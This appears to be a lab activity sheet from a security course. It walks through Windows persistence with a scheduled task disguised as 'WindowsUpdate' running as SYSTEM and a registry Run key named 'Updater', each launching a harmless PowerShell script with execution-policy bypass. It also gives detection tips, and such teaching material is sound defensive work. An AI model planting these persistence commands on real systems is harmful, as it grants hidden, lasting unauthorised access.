Activity File: Establishing Persistence and Defense Evasion

Scenario

As an attacker who has gained a foothold on a Windows system, your goal is to establish persistence and evade detection. This will ensure continued access even after a system reboot or security measures are applied.

You will use **PowerShell**, **Scheduled Tasks**, and **Windows Registry modifications** to maintain access stealthily.

Instructions

Step 1: Create a Malicious PowerShell Script

1. Open **PowerShell** and create a simple script to simulate persistence:

```
Write-Output "Persistence Established!"
```

2. Save the file as:

```
C:\Users\<USERNAME>\Documents\persistence.ps1
```

Step 2: Establish Persistence with Scheduled Tasks

3. Create a scheduled task that executes your PowerShell script at user login:

```
schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -ExecutionPolicy Bypass -File
C:\Users\<USERNAME>\Documents\persistence.ps1" /sc onlogon /ru SYSTEM
```

Explanation:

- `/create` → Creates a new task.

- `/tn "WindowsUpdate"` → Names the task to mimic a legitimate process.
- `/tr` → Specifies the command to run (your PowerShell script).
- `/sc onlogon` → Runs the script when a user logs in.
- `/ru SYSTEM` → Runs as SYSTEM for full privileges.

4. **Verify the scheduled task:**

```
schtasks /query /fo LIST /v
```

What to look for:

- Tasks executing PowerShell or cmd.exe.
- Obscure names mimicking Windows services.

5. **Manually execute the task to test it:**

```
schtasks /run /tn "WindowsUpdate"
```

Step 3: Establish Persistence Using the Windows Registry

6. Modify the Windows Registry to execute the PowerShell script on user login:

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d
"powershell.exe -ExecutionPolicy Bypass -File
C:\Users\<USERNAME>\Documents\persistence.ps1" /f
```

Explanation:

- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` → Registry path for startup programs.
- `/v "Updater"` → Creates a new registry key named "Updater".
- `/d "powershell.exe -ExecutionPolicy Bypass -File C:\Users\<USERNAME>\Documents\persistence.ps1"` → Runs your script at login.
- `/f` → Forces execution without confirmation.

7. **Verify the registry modification:**

```
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
```

What to look for:

- Any entries executing PowerShell scripts.
- Unknown or suspicious process names.

Objective:

- Implement at least one persistence mechanism (Scheduled Tasks or Registry Run Keys).
- Verify that the mechanism executes the script at login.
- Document how an attacker could use these techniques to evade detection.
